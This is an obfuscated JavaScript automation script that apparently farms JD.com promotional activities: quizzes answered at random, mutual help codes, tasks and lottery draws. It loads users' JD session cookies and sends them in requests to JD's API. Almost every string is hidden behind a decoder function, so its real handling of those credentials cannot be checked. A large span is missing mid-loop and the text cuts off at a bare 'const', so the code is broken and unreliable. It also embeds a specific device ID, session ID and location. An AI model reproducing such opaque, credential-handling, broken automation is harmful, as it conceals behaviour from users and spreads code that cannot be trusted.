jdCookieNode=$[_0x49e1('2','ecwQ')]()?require(_0x49e1('3','0h0g')):'';cookiesArr=[$['getdata'](_0x49e1('4','Bg*j')),$['getdata'](_0x49e1('5','LoOu')),...jsonParse($[_0x49e1('6','os^Y')](_0x49e1('7','osi%'))||'[]')[_0x49e1('8','ES%V')](_0x543f3b=>_0x543f3b[_0x49e1('9','WZ^L')])]['filter'](_0x516b99=>!!_0x516b99);let tz=$[_0x49e1('a','5nIZ')]('tz')||'1';const invite=0x1;const logs=0x0;var hour='';var minute='';if($['isNode']()){hour=new Date(new Date()[_0x49e1('b',']@jd')]()+0x8*0x3c*0x3c*0x3e8)['getHours']();minute=new Date(new Date()[_0x49e1('c','Bg*j')]()+0x8*0x3c*0x3c*0x3e8)[_0x49e1('d','sJC]')]();}else{hour=new Date()[_0x49e1('e','Bg*j')]();minute=new Date()['getMinutes']();}if($['isNode']()){Object['keys'](jdCookieNode)[_0x49e1('f','nYN[')](_0x148b0a=>{cookiesArr[_0x49e1('10','WZ^L')](jdCookieNode[_0x148b0a]);});if(process[_0x49e1('11','os^Y')]['JD_DEBUG']&&process[_0x49e1('12','B46s')]['JD_DEBUG']===_0x49e1('13','!Y1m'))console['log']=()=>{};}else{cookiesArr=[$['getdata'](_0x49e1('14','P5ZW')),$[_0x49e1('15','VRys')](_0x49e1('16','VRys')),...$[_0x49e1('17','9qHj')]($[_0x49e1('18','LoOu')](_0x49e1('19','9gIW'))||'[]')[_0x49e1('1a','sJC]')](_0x2ac0eb=>_0x2ac0eb[_0x49e1('1b','lKzt')])]['filter'](_0x3afdc9=>!!_0x3afdc9);}!(async()=>{var _0x263d54={'TKQbA':function(_0x28a4dc,_0x5d2f28){return _0x28a4dc!==_0x5d2f28;},'kxZpj':_0x49e1('1c','WZ^L'),'nmkxk':'【提示】请先获取cookie\x0a直接使用NobyDa的京东签到获取','HSjZu':_0x49e1('1d','5nIZ'),'wRjBK':function(_0x9f513f,_0x350620){return _0x9f513f>=_0x350620;},'ESezO':_0x49e1('1e','osi%'),'YvNPS':'PZgto','bcJmH':_0x49e1('1f','9qHj'),'ZchJH':function(_0x4661d9,_0x20a376){return _0x4661d9(_0x20a376);},'laMXN':function(_0x1267c0,_0x5ae1bd){return _0x1267c0+_0x5ae1bd;},'KRFTR':function(_0x2620e8){return _0x2620e8();},'eNLNR':function(_0x41f91d){return _0x41f91d();},'wQBeu':function(_0x58c2f2){return _0x58c2f2();},'yEgkH':function(_0x1d7b5b){return _0x1d7b5b();},'FGIQe':function(_0x5aac29){return _0x5aac29();},'kOdDU':function(_0x42322c,_0x4800b5){return _0x42322c(_0x4800b5);}};if(!cookiesArr[0x0]){if(_0x263d54[_0x49e1('20','5ix!')](_0x263d54[_0x49e1('21','9qHj')],_0x263d54[_0x49e1('22','0h0g')])){cookiesArr[_0x49e1('23','5v)#')](jdCookieNode[item]);}else{$[_0x49e1('24','9gIW')]($[_0x49e1('25','3@lB')],_0x263d54[_0x49e1('26','CtxQ')],_0x263d54[_0x49e1('27','Bg*j')],{'open-url':_0x263d54['HSjZu']});return;}}if(_0x263d54[_0x49e1('28','WZ^L')](new Date()[_0x49e1('29','CtxQ')](),0x12)){$[_0x49e1('2a','B46s')]($['name'],_0x263d54[_0x49e1('2b','Sizb')]);return;}for(let _0x18b49d=0x0;_0x18b49d$[_0x49e1('5e','0h0g')](_0x58c7c1))['finally'](()=>$[_0x49e1('5f','c1I1')]());function PostRequest(_0x5b2a56){var _0x57a540={'Nwowr':_0x49e1('60','Ur#%'),'cdGwD':_0x49e1('61','lKzt'),'RQqsP':_0x49e1('62','Sizb'),'mOuyN':_0x49e1('63','9^M$'),'ggZFP':_0x49e1('64','WZ^L'),'XsQxV':_0x49e1('65','oNuW'),'LxJOo':_0x49e1('66','^fE*'),'TycPu':_0x49e1('67','osi%')};const _0x5eedef=_0x49e1('68','c1I1');const _0x4cbffc=_0x49e1('69','lKzt');const _0x44bbf3={'Accept':_0x57a540['Nwowr'],'Accept-Encoding':_0x57a540[_0x49e1('6a','g85[')],'Accept-Language':_0x57a540[_0x49e1('6b','#6v6')],'Connection':_0x57a540[_0x49e1('6c','9gIW')],'Content-Type':_0x57a540[_0x49e1('6d','Gyql')],'Cookie':cookie,'Host':_0x57a540['XsQxV'],'Origin':_0x57a540['LxJOo'],'Referer':_0x49e1('6e','pUel'),'User-Agent':_0x57a540[_0x49e1('6f','Ur#%')]};return{'url':_0x5eedef,'method':_0x4cbffc,'headers':_0x44bbf3,'body':_0x5b2a56};}function GetRequest(){var _0x357790={'nrzlR':_0x49e1('70','CtxQ'),'HZyBm':_0x49e1('71','CtxQ'),'hdsrX':_0x49e1('72','G^pB'),'fTfDi':'application/x-www-form-urlencoded','ZoWey':_0x49e1('73',')GaO'),'ErybC':_0x49e1('66','^fE*'),'HxwLn':_0x49e1('74','3@lB'),'Qnnxq':_0x49e1('75','kA#Y')};const _0x4acb2f='https://api.m.jd.com/api';const _0x23c200='GET';const _0x357de8={'Accept':_0x357790[_0x49e1('76','Sizb')],'Accept-Encoding':_0x357790[_0x49e1('77','kA#Y')],'Accept-Language':_0x357790[_0x49e1('78','h90t')],'Connection':_0x49e1('79','k$Vn'),'Content-Type':_0x357790['fTfDi'],'Cookie':cookie,'Host':_0x357790[_0x49e1('7a','!Y1m')],'Origin':_0x357790['ErybC'],'Referer':_0x357790[_0x49e1('7b','3YW(')],'User-Agent':_0x357790['Qnnxq']};return{'url':_0x4acb2f,'method':_0x23c200,'headers':_0x357de8};}async function quiz(){var _0x187399={'iPebY':function(_0x2fbc6e,_0x566947){return _0x2fbc6e+_0x566947;},'QBiHo':function(_0x28fca7,_0x165bb8){return _0x28fca7+_0x165bb8;},'oSbPS':'\x2010:00\x20\x0a','vbwEf':function(_0x375ab3,_0xb7d842){return _0x375ab3%_0xb7d842;}};var _0x41de5c=_0x187399[_0x49e1('7c','g85[')](Math[_0x49e1('7d','VRys')](Math[_0x49e1('7e','VRys')]()*0xa),0x2)==0x0?'A':'B';$[_0x49e1('7f','#6v6')](currentdate);const _0x4c216b=_0x49e1('80','oNuW')+currentdate+'\x22,\x22answerCode\x22:\x22'+_0x41de5c+_0x49e1('81','lKzt')+new Date()[_0x49e1('82','0!!V')]()+'&loginType=2';const _0x5e7dd8=PostRequest(_0x4c216b);return new Promise(_0x46b3f6=>{var _0x10ae7e={'NAMOb':function(_0x522d01,_0x1d7d1c){return _0x522d01+_0x1d7d1c;},'wgtHK':function(_0x32a492,_0x5d2479){return _0x187399['iPebY'](_0x32a492,_0x5d2479);},'EfySf':function(_0x7a558c,_0x2048ff){return _0x187399[_0x49e1('83','osi%')](_0x7a558c,_0x2048ff);},'jzXsj':_0x187399[_0x49e1('84','WZ^L')]};$['post'](_0x5e7dd8,async(_0x3414a2,_0x53c368,_0x444945)=>{try{const _0x5049d9=JSON[_0x49e1('85','osi%')](_0x444945);$[_0x49e1('86','^fE*')](_0x444945);if(_0x5049d9&&_0x5049d9[_0x49e1('87','g85[')]&&_0x5049d9[_0x49e1('88','oNuW')]==0xc8){console[_0x49e1('7f','#6v6')](_0x10ae7e['NAMOb'](_0x10ae7e[_0x49e1('89','g85[')]('\x0a参与竞猜成功,开奖时间为:',_0x10ae7e['wgtHK'](_0x10ae7e['EfySf'](new Date()[_0x49e1('8a','0!!V')](),0x1)+'月'+_0x10ae7e['EfySf'](new Date()[_0x49e1('8b',')GaO')](),0x1),'日')),_0x10ae7e['jzXsj']));await $['wait'](0x1f40);}else{$[_0x49e1('8c','P5ZW')](_0x5049d9[_0x49e1('8d','!Y1m')]+'\x0a');}}catch(_0x2f8c89){$['logErr'](_0x2f8c89,_0x53c368);}finally{_0x46b3f6();}});});}async function control(){var _0xa9de08={'mTSHV':function(_0x51ab18,_0x2c9bfe){return _0x51ab18<_0x2c9bfe;},'JHFEC':function(_0x46292f,_0x172a0d){return _0x46292f(_0x172a0d);}};for(let _0x4d1b94=0x0;_0xa9de08['mTSHV'](_0x4d1b94,_0xa9de08[_0x49e1('8e','^fE*')](distinct,shareidArr)[_0x49e1('8f','P5ZW')]);_0x4d1b94++){helpcode=shareidArr[_0x4d1b94];await dosupport();await $[_0x49e1('90',']@jd')](0xfa0);}}async function getshareid(){var _0x2dd5f7={'rfHpW':function(_0x2f4ff0,_0x569a38){return _0x2f4ff0===_0x569a38;},'XpywT':_0x49e1('91','CtxQ'),'Sfatp':_0x49e1('92','Gyql'),'cmDLT':function(_0x17a812,_0x393e93){return _0x17a812==_0x393e93;},'SgAyQ':function(_0x301958,_0x51f788){return _0x301958+_0x51f788;},'iqZBs':_0x49e1('93',']@jd'),'DetGg':'kgqZW','HATxm':function(_0x9f491b){return _0x9f491b();},'gsAJc':function(_0x98101c,_0x50d4bf){return _0x98101c+_0x50d4bf;},'zfAiE':function(_0x27d81f,_0x4824a4){return _0x27d81f*_0x4824a4;},'vlHdp':_0x49e1('94',')GaO'),'szOsL':function(_0x5d1044,_0x958917){return _0x5d1044(_0x958917);}};const _0x2dd40d=_0x2dd5f7[_0x49e1('95','Ur#%')](PostRequest,_0x49e1('96','3@lB')+new Date()['getTime']()+'&loginType=2');return new Promise(_0x1fe370=>{var _0x35a18c={'lSdPP':function(_0x34e782,_0x484584){return _0x2dd5f7['gsAJc'](_0x34e782,_0x484584);},'cpekt':function(_0x3a000d,_0x11e021){return _0x2dd5f7['zfAiE'](_0x3a000d,_0x11e021);}};if(_0x2dd5f7['rfHpW'](_0x2dd5f7[_0x49e1('97','9gIW')],'IWwGJ')){$[_0x49e1('98','osi%')](e,response);}else{$[_0x49e1('99','(2qs')](_0x2dd40d,async(_0x4b1058,_0x2d3212,_0x1f0e4e)=>{if(_0x2dd5f7[_0x49e1('9a','cu4Y')](_0x2dd5f7[_0x49e1('9b','sJC]')],_0x49e1('9c','N@4T'))){try{if(_0x2dd5f7[_0x49e1('9d','osi%')](_0x49e1('9e','cu4Y'),_0x2dd5f7[_0x49e1('9f','g85[')])){$[_0x49e1('a0','sJC]')](message);}else{const _0x2de4ea=JSON[_0x49e1('a1','CtxQ')](_0x1f0e4e);if(logs)$[_0x49e1('a2','osi%')](_0x1f0e4e);if(_0x2de4ea&&_0x2de4ea['code']&&_0x2dd5f7[_0x49e1('a3','Ur#%')](_0x2de4ea['code'],0xc8)){$[_0x49e1('a4','lKzt')](_0x2dd5f7[_0x49e1('a5','CtxQ')](_0x2dd5f7['iqZBs'],_0x2de4ea[_0x49e1('a6','CtxQ')][_0x49e1('a7','5ix!')])+'\x0a');shareidArr[_0x49e1('a8','^fE*')](_0x2de4ea[_0x49e1('a9','VRys')][_0x49e1('aa','B46s')]);await $[_0x49e1('ab','sJC]')](0x7d0);}else{$['log'](_0x2dd5f7[_0x49e1('ac','Bg*j')]('😫',_0x2de4ea['msg'])+'\x0a');}}}catch(_0x193af0){$[_0x49e1('ad','omiL')](_0x193af0,_0x2d3212);}finally{if(_0x49e1('ae','sJC]')===_0x2dd5f7[_0x49e1('af','0!!V')]){_0x2dd5f7[_0x49e1('b0','c1I1')](_0x1fe370);}else{$[_0x49e1('b1','VRys')](message);}}}else{var _0x441986=_0x35a18c[_0x49e1('b2','g85[')](~~_0x35a18c[_0x49e1('b3','LoOu')](Math[_0x49e1('b4',')GaO')](),count),i);newsharecodes[i]=arr[_0x441986];arr[_0x441986]=arr[i];count--;}});}});}async function dosupport(_0x2a0d96){var _0x2dc97e={'ezCbA':function(_0x5c8fa1,_0x3b46ca){return _0x5c8fa1+_0x3b46ca;},'aOyXx':_0x49e1('b5','Gyql'),'PDEGE':'gzip,\x20deflate,\x20br','EqdCJ':_0x49e1('b6','(2qs'),'XBYJQ':function(_0x2dc110,_0x518612){return _0x2dc110!==_0x518612;},'zSFGa':'LMaZL','xaDIl':function(_0x51c924,_0x41b58d){return _0x51c924==_0x41b58d;},'cLwPM':function(_0x5c8d6a,_0x700151){return _0x5c8d6a===_0x700151;},'XLjkt':_0x49e1('b7','osi%'),'vYjmM':_0x49e1('b8','k$Vn'),'PzPOq':function(_0x11ef79,_0x5af614){return _0x11ef79(_0x5af614);}};const _0x988094='appid=china-joy&functionId=champion_game_prod&body=%7B%22shareId%22%3A%22'+_0x2a0d96+'%22%2C%22apiMapping%22%3A%22%2Fapi%2FdoSupport%22%7D&t='+new Date()[_0x49e1('b9','92v[')]()+'&loginType=2';const _0x1fd25b=_0x2dc97e['PzPOq'](PostRequest,_0x988094);return new Promise(_0x526e48=>{var _0x580316={'pjzGp':function(_0x5b69f8,_0x16fdfb){return _0x2dc97e[_0x49e1('ba','osi%')](_0x5b69f8,_0x16fdfb);},'ZdtDY':_0x2dc97e[_0x49e1('bb','0!!V')],'ldxiC':_0x2dc97e[_0x49e1('bc','Sizb')],'HKOGI':_0x49e1('bd','9gIW'),'wgEWz':_0x49e1('be','^fE*'),'KMVRt':_0x2dc97e[_0x49e1('bf','Sizb')],'XbOmm':function(_0xc66292,_0x29ec63){return _0x2dc97e['XBYJQ'](_0xc66292,_0x29ec63);},'GYcet':_0x2dc97e['zSFGa'],'GwNMP':function(_0x11a4dc,_0x31fcdd){return _0x2dc97e['xaDIl'](_0x11a4dc,_0x31fcdd);},'cffvh':'😫助力失败,不能助力自己\x0a','evxuU':function(_0x14b079,_0x5bf9c0){return _0x2dc97e[_0x49e1('c0','G^pB')](_0x14b079,_0x5bf9c0);},'wIHuQ':_0x2dc97e['XLjkt'],'ebntE':_0x2dc97e[_0x49e1('c1','6xw5')],'HWXRi':function(_0x39363e){return _0x39363e();}};$[_0x49e1('c2','3YW(')](_0x1fd25b,async(_0x4591cc,_0x1b3a69,_0x35a582)=>{var _0x4b38e={'inpry':'application/json,\x20text/plain,\x20*/*','POaBW':_0x580316[_0x49e1('c3','cu4Y')],'LWWDq':_0x580316[_0x49e1('c4','9gIW')],'JevAD':_0x580316['wgEWz'],'iGeQA':_0x49e1('c5','lKzt'),'tsYaz':_0x49e1('c6','euW4'),'oTgiX':_0x49e1('c7','#6v6'),'bneit':_0x580316[_0x49e1('c8','0h0g')]};try{if(_0x580316['XbOmm']('LMaZL',_0x580316[_0x49e1('c9','H%a$')])){$['log'](_0x580316[_0x49e1('ca','cu4Y')](result[_0x49e1('cb','0!!V')],'\x0a'));}else{const _0x3570d9=JSON[_0x49e1('cc','92v[')](_0x35a582);if(logs)$[_0x49e1('cd','H%a$')](_0x35a582);if(_0x3570d9&&_0x3570d9[_0x49e1('ce','WZ^L')]&&_0x3570d9[_0x49e1('cf','Gyql')]==0xc8&&_0x3570d9[_0x49e1('d0','k$Vn')][_0x49e1('d1','#6v6')]==0x7){console[_0x49e1('d2','0h0g')](_0x49e1('d3','92v['));}else if(_0x580316[_0x49e1('d4',']@jd')](_0x3570d9[_0x49e1('d5','6xw5')]['status'],0x1)){$['log'](_0x580316[_0x49e1('d6','WZ^L')]);}else if(_0x580316[_0x49e1('d7','nYN[')](_0x3570d9[_0x49e1('d8','c1I1')][_0x49e1('d9','pUel')],0x3)){$[_0x49e1('da','oNuW')](_0x49e1('db','9gIW'));}}}catch(_0x2a3ac9){if(_0x580316[_0x49e1('dc','os^Y')](_0x580316[_0x49e1('dd','(2qs')],_0x580316[_0x49e1('de','^fE*')])){$[_0x49e1('df','c1I1')](_0x2a3ac9,_0x1b3a69);}else{const _0x3d5d46=_0x49e1('e0','CtxQ');const _0x292318=_0x49e1('e1','5nIZ');const _0xf595f8={'Accept':_0x4b38e[_0x49e1('e2','ES%V')],'Accept-Encoding':_0x4b38e[_0x49e1('e3','sJC]')],'Accept-Language':_0x4b38e[_0x49e1('e4','Gyql')],'Connection':_0x4b38e[_0x49e1('e5','lKzt')],'Content-Type':_0x4b38e[_0x49e1('e6','^fE*')],'Cookie':cookie,'Host':_0x4b38e[_0x49e1('e7','G^pB')],'Origin':_0x4b38e[_0x49e1('e8','omiL')],'Referer':_0x49e1('6e','pUel'),'User-Agent':_0x4b38e['bneit']};return{'url':_0x3d5d46,'method':_0x292318,'headers':_0xf595f8};}}finally{if(_0x580316[_0x49e1('e9','#6v6')](_0x580316['ebntE'],'QCvtR')){console['log'](_0x580316['ZdtDY']);}else{_0x580316[_0x49e1('ea','92v[')](_0x526e48);}}});});}async function zy(){var _0x16bf4d={'Iumnv':function(_0x309b66,_0x24f7fe){return _0x309b66+_0x24f7fe;},'QFUzi':function(_0x532d2d,_0x158156){return _0x532d2d<_0x158156;},'jnMTF':function(_0x5d655b,_0x51049f){return _0x5d655b(_0x51049f);},'ieABj':function(_0xd45045,_0x1b7625){return _0xd45045!==_0x1b7625;},'IveXn':'NHQvA','zbJDZ':'TlEOJ','ABcGl':'\x0a开始内部助力'};for(let _0x518a69=0x0;_0x16bf4d['QFUzi'](_0x518a69,_0x16bf4d['jnMTF'](distinct,shareidArr)[_0x49e1('eb','0h0g')]);_0x518a69++){if(_0x16bf4d['ieABj'](_0x16bf4d[_0x49e1('ec','P5ZW')],_0x16bf4d['zbJDZ'])){console[_0x49e1('ed','Bg*j')](_0x16bf4d[_0x49e1('ee','oNuW')](_0x16bf4d[_0x49e1('ef','h90t')](_0x16bf4d['ABcGl'],shareidArr[_0x518a69]),''));await _0x16bf4d[_0x49e1('f0','92v[')](dosupport,shareidArr[_0x518a69]);await $[_0x49e1('f1','c1I1')](0x1f40);}else{strDate=_0x16bf4d[_0x49e1('f2','cu4Y')]('0',strDate);}}}async function getlist(){var _0x536aba={'RPgoy':function(_0x2241c5){return _0x2241c5();},'ydhYN':_0x49e1('f3','os^Y'),'sRdsr':_0x49e1('f4','oNuW'),'rGJQn':function(_0x29026e,_0x54b852){return _0x29026e===_0x54b852;},'XFIdm':_0x49e1('f5','B46s'),'USMAG':function(_0x99b73b,_0x3a3bb6){return _0x99b73b!==_0x3a3bb6;},'AbKzh':_0x49e1('f6','H%a$'),'IpBmK':_0x49e1('f7','^fE*'),'wZEJn':_0x49e1('f8','cu4Y'),'OJqbf':function(_0x54d616,_0x5c166f){return _0x54d616+_0x5c166f;},'evipQ':function(_0x3c081d){return _0x3c081d();},'sMXls':_0x49e1('f9','kA#Y'),'lveNe':function(_0x372721,_0x368ca3){return _0x372721(_0x368ca3);}};const _0xec21d6=_0x536aba[_0x49e1('fa','euW4')](PostRequest,_0x49e1('fb','euW4')+currentdate+_0x49e1('fc','oNuW')+new Date()[_0x49e1('fd','pUel')]()+'&loginType=2');return new Promise(_0x87df6d=>{var _0x4901af={'DWJcv':function(_0x41638b){return _0x536aba[_0x49e1('fe','Bg*j')](_0x41638b);},'kZNAP':_0x49e1('ff','euW4'),'oknBZ':_0x536aba[_0x49e1('100','ES%V')]};$[_0x49e1('101','h90t')](_0xec21d6,async(_0x2f550d,_0x10c97f,_0x4f1f44)=>{var _0x3518c7={'BEMef':function(_0xb978b1){return _0x536aba[_0x49e1('102','!Y1m')](_0xb978b1);}};try{if(_0x536aba[_0x49e1('103','Bg*j')]===_0x536aba[_0x49e1('104','Bg*j')]){_0x3518c7[_0x49e1('105','9qHj')](_0x87df6d);}else{const _0x4d36e7=JSON[_0x49e1('106','5nIZ')](_0x4f1f44);if(logs)$['log'](_0x4f1f44);if(_0x4d36e7&&_0x4d36e7[_0x49e1('107','osi%')]&&_0x4d36e7[_0x49e1('108','kA#Y')]==0xc8){if(_0x536aba['rGJQn'](_0x536aba['XFIdm'],_0x536aba['XFIdm'])){$[_0x49e1('109','VRys')]=_0x4d36e7['data'];for(var _0x1d998f in $[_0x49e1('10a','Sizb')]){if(_0x536aba['USMAG'](_0x536aba[_0x49e1('10b','c1I1')],_0x49e1('10c','0!!V'))){_0x4901af[_0x49e1('10d','5v)#')](_0x87df6d);}else{taskTypeArr['push']($[_0x49e1('10e','9^M$')][_0x1d998f][_0x49e1('10f','9qHj')]);taskIdArr[_0x49e1('110','(2qs')]($[_0x49e1('111','P5ZW')][_0x1d998f][_0x49e1('112','cu4Y')]);}}}else{$[_0x49e1('113','(2qs')]('😫助力失败,已经助力过了\x0a');}}else{if(_0x536aba[_0x49e1('114','euW4')](_0x536aba[_0x49e1('115','sJC]')],_0x536aba[_0x49e1('116','5ix!')])){$['log'](_0x536aba[_0x49e1('117','WU9B')](_0x536aba[_0x49e1('118','oNuW')]('😫',_0x4d36e7[_0x49e1('119','N@4T')]),'\x0a'));}else{cookiesArr=[$[_0x49e1('11a','9qHj')](_0x4901af[_0x49e1('11b','k$Vn')]),$[_0x49e1('11c','lKzt')](_0x4901af[_0x49e1('11d',']@jd')]),...$[_0x49e1('11e','9^M$')]($['getdata']('CookiesJD')||'[]')[_0x49e1('11f','^fE*')](_0x32cc63=>_0x32cc63[_0x49e1('120','ES%V')])]['filter'](_0x5b41b7=>!!_0x5b41b7);}}}}catch(_0x1ab2ee){$['logErr'](_0x1ab2ee,_0x10c97f);}finally{_0x87df6d();}});});}async function select(){var _0x38ce2e={'JKsad':function(_0x853e60,_0x2d1b3d){return _0x853e60(_0x2d1b3d);},'BZnNM':_0x49e1('121','ES%V'),'xLYFJ':function(_0x3c4ab8,_0x2e72b8){return _0x3c4ab8*_0x2e72b8;},'vDiWO':'FOLLOW_CHANNEL_TASK_0001','klnHy':_0x49e1('122','N@4T'),'DWgza':function(_0x5cfbb0){return _0x5cfbb0();},'MDmsl':function(_0x282d37,_0x1e384c){return _0x282d37*_0x1e384c;},'XKRaK':'FOLLOW_SHOP_TASK_0001','nwbwg':function(_0x295534){return _0x295534();},'FrVud':function(_0x23fddb,_0x455a11){return _0x23fddb*_0x455a11;},'wTlgT':_0x49e1('123','Sizb'),'OmBPS':function(_0x5b9a3c){return _0x5b9a3c();},'YhZaj':function(_0xb57cf1,_0x430762){return _0xb57cf1*_0x430762;}};for(var _0x2f6a28 in _0x38ce2e[_0x49e1('124','oE*m')](distinct,taskTypeArr)){if(_0x38ce2e[_0x49e1('125','ES%V')]==='oZmXr'){$[_0x49e1('126','P5ZW')](e,response);}else{tasktype=taskTypeArr[_0x2f6a28];taskid=taskIdArr[_0x2f6a28];switch(tasktype){case _0x49e1('127','oNuW'):$[_0x49e1('128','g85[')]=0x5;$[_0x49e1('129','^fE*')]=_0x49e1('12a','9gIW');await scan();await $['wait'](_0x38ce2e['xLYFJ']($['waits'],0x3e8));await doTask();break;case _0x38ce2e[_0x49e1('12b','N@4T')]:$['waits']=0x2;$['end']=_0x38ce2e[_0x49e1('12c','k$Vn')];await _0x38ce2e[_0x49e1('12d','CtxQ')](scan);await $['wait'](_0x38ce2e[_0x49e1('12e','omiL')]($['waits'],0x3e8));await _0x38ce2e[_0x49e1('12f','Gyql')](doTask);break;case _0x38ce2e[_0x49e1('130','0h0g')]:$[_0x49e1('131','h90t')]=0x2;$['end']=_0x38ce2e[_0x49e1('132','5ix!')];await _0x38ce2e[_0x49e1('133','WZ^L')](scan);await $[_0x49e1('134','G^pB')](_0x38ce2e[_0x49e1('135','lKzt')]($[_0x49e1('136','Sizb')],0x3e8));await doTask();break;case _0x38ce2e[_0x49e1('137','0!!V')]:$['waits']=0x2;$[_0x49e1('138','pUel')]='/api/task/getReward';await _0x38ce2e[_0x49e1('139','osi%')](scan);await $['wait'](_0x38ce2e['YhZaj']($['waits'],0x3e8));await _0x38ce2e[_0x49e1('13a','c1I1')](doTask);break;}}}}async function select2(){var _0x870816={'iWXOk':function(_0x3555ba){return _0x3555ba();},'pEibS':function(_0x29c0ec,_0x3c50b8){return _0x29c0ec(_0x3c50b8);},'EJiDB':function(_0xb566cc,_0x4db001){return _0xb566cc!==_0x4db001;},'RvMRy':_0x49e1('13b','g85['),'meBse':_0x49e1('13c','!Y1m'),'GlxLu':function(_0x223fa3,_0x125479){return _0x223fa3*_0x125479;},'PiSZq':_0x49e1('13d','euW4'),'EWKET':_0x49e1('13e','h90t'),'BDFRb':function(_0x1ae969){return _0x1ae969();},'zhlyS':function(_0x4579c7,_0x43e7e0){return _0x4579c7*_0x43e7e0;}};for(var _0x1c495f in _0x870816[_0x49e1('13f','#6v6')](distinct,taskTypeArr)){if(_0x870816[_0x49e1('140','Sizb')](_0x870816[_0x49e1('141','#6v6')],_0x870816[_0x49e1('142','3@lB')])){_0x870816[_0x49e1('143','LoOu')](resolve);}else{tasktype=taskTypeArr[_0x1c495f];taskid=taskIdArr[_0x1c495f];switch(tasktype){case _0x870816[_0x49e1('144','3YW(')]:$['waits']=0x2;$['end']='/api/task/doTask';await scan();await doTask();await $['wait'](_0x870816[_0x49e1('145','G^pB')]($['waits'],0x3e8));break;case _0x870816[_0x49e1('146','lKzt')]:$[_0x49e1('147','Ur#%')]=0x2;$[_0x49e1('148','lKzt')]=_0x870816[_0x49e1('149','ES%V')];await _0x870816['iWXOk'](scan);await _0x870816['BDFRb'](doTask);await $[_0x49e1('14a','(2qs')](_0x870816['zhlyS']($['waits'],0x3e8));break;}}}}async function doTask(){var _0x50e261={'AWktI':function(_0x2c558a,_0x1218f7){return _0x2c558a!==_0x1218f7;},'vBrJp':function(_0x5e31e3,_0x38f1bd){return _0x5e31e3==_0x38f1bd;},'MdmCX':function(_0x4819e6,_0x57b6a2){return _0x4819e6===_0x57b6a2;},'rtjfj':'gZQCg','jZcOj':function(_0x375d6c){return _0x375d6c();}};let _0x246b23=$[_0x49e1('14b','P5ZW')]?$['timeStamp']:new Date()[_0x49e1('14c','k$Vn')]();const _0x1855f1=_0x49e1('14d','92v[')+tasktype+_0x49e1('14e','Ur#%')+taskid+_0x49e1('14f','oNuW')+_0x246b23+_0x49e1('150','H%a$')+currentdate+_0x49e1('151','9qHj')+$[_0x49e1('152','0!!V')]+_0x49e1('153','5nIZ')+new Date()[_0x49e1('154','g85[')]()+_0x49e1('155','0!!V');const _0x486519=PostRequest(_0x1855f1);return new Promise(_0x3fcf70=>{var _0x565c0e={'Waegn':function(_0x263bd9,_0x54ff9c){return _0x263bd9==_0x54ff9c;},'Fkuqz':function(_0x285263,_0x59a1a4){return _0x50e261['AWktI'](_0x285263,_0x59a1a4);},'fmbJt':function(_0x25d441,_0x2d4fad){return _0x50e261[_0x49e1('156','g85[')](_0x25d441,_0x2d4fad);},'koDyl':_0x49e1('157','0!!V'),'bbEdz':function(_0x4e691f,_0x4783b1){return _0x50e261['MdmCX'](_0x4e691f,_0x4783b1);},'GBfja':_0x50e261[_0x49e1('158','9gIW')],'rlsod':function(_0x4dab14,_0x20c7cc){return _0x4dab14+_0x20c7cc;},'fBNee':function(_0x28b77f){return _0x50e261[_0x49e1('159','3YW(')](_0x28b77f);}};$[_0x49e1('15a','9gIW')](_0x486519,async(_0x264d9e,_0x253172,_0x577e7f)=>{try{if(_0x565c0e[_0x49e1('15b','P5ZW')](_0x49e1('15c','sJC]'),_0x49e1('15d','!Y1m'))){console[_0x49e1('15e','ecwQ')](e);$['msg']($['name'],'',_0x49e1('15f','Ur#%'));return[];}else{const _0x29a1ef=JSON[_0x49e1('160','9gIW')](_0x577e7f);$[_0x49e1('8c','P5ZW')](_0x577e7f);if(_0x29a1ef&&_0x29a1ef['code']&&_0x565c0e[_0x49e1('161','WZ^L')](_0x29a1ef[_0x49e1('162','P5ZW')],0xc8)){console[_0x49e1('163','WZ^L')](_0x565c0e[_0x49e1('164',']@jd')]);await $[_0x49e1('165','3YW(')](0x1f40);}else{if(_0x565c0e[_0x49e1('166','9gIW')](_0x565c0e[_0x49e1('167','g85[')],_0x49e1('168','WZ^L'))){$[_0x49e1('169','cu4Y')](_0x565c0e[_0x49e1('16a','9qHj')](_0x29a1ef['msg'],'\x0a'));}else{if(hour==0xc&&minute<=0x14||_0x565c0e[_0x49e1('16b','3YW(')](hour,0x17)&&minute>=0x28){$[_0x49e1('16c','os^Y')](zhiyi,'',message);}else{$[_0x49e1('16d','9gIW')](message);}}}}}catch(_0x337766){$[_0x49e1('16e','5nIZ')](_0x337766,_0x253172);}finally{_0x565c0e['fBNee'](_0x3fcf70);}});});}async function lottery(){var _0x3bf4c6={'PsrxS':_0x49e1('16f','oE*m'),'HQkok':'gzip,\x20deflate,\x20br','LOapL':_0x49e1('170','c1I1'),'WgCxY':_0x49e1('171','P5ZW'),'cvEwV':'https://dnsm618-100million.m.jd.com/?tttparams=i1zsmeyJsbmciOiIxMjEuNDA2ODU4IiwiZ0xhdCI6IjMxLjM2MDY0IiwibGF0IjoiMzEuMzYzODE2IiwiZ0xuZyI6IjEyMS4zOTQzNCIsImdwc19hcmVhIjoiMl8yODI0XzUxOTE2XzAiLCJ1bl9hcmVhIjoiMl8yODI0XzUxOTE2XzAifQ5%3D%3D&lng=121.4068579645437&lat=31.3638155217524&sid=e6dd8c1e78a945e105d9896b009fc6aw&un_area=2_2824_51916_0','CpHfN':'jdapp;iPhone;9.4.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;ADID/BF650B20-A81A-4172-98EE-064834D97D6E;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone12,1;addressid/2377723269;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2014_4\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','ntlXZ':function(_0x5ae3bf){return _0x5ae3bf();},'FwFxt':_0x49e1('172','Sizb'),'iczOQ':_0x49e1('173','5v)#'),'kKmWm':_0x49e1('174','Gyql'),'LscgZ':_0x49e1('175','c1I1'),'lyFoi':function(_0x2f9c82,_0x579b4c){return _0x2f9c82(_0x579b4c);}};const _0x58a70f='appid=china-joy&functionId=champion_game_prod&body={\x22activityDate\x22:\x22'+currentdate+'\x22,\x22apiMapping\x22:\x22/api/lottery/lottery\x22}&t='+new Date()[_0x49e1('176','Gyql')]()+_0x49e1('177','#6v6');const 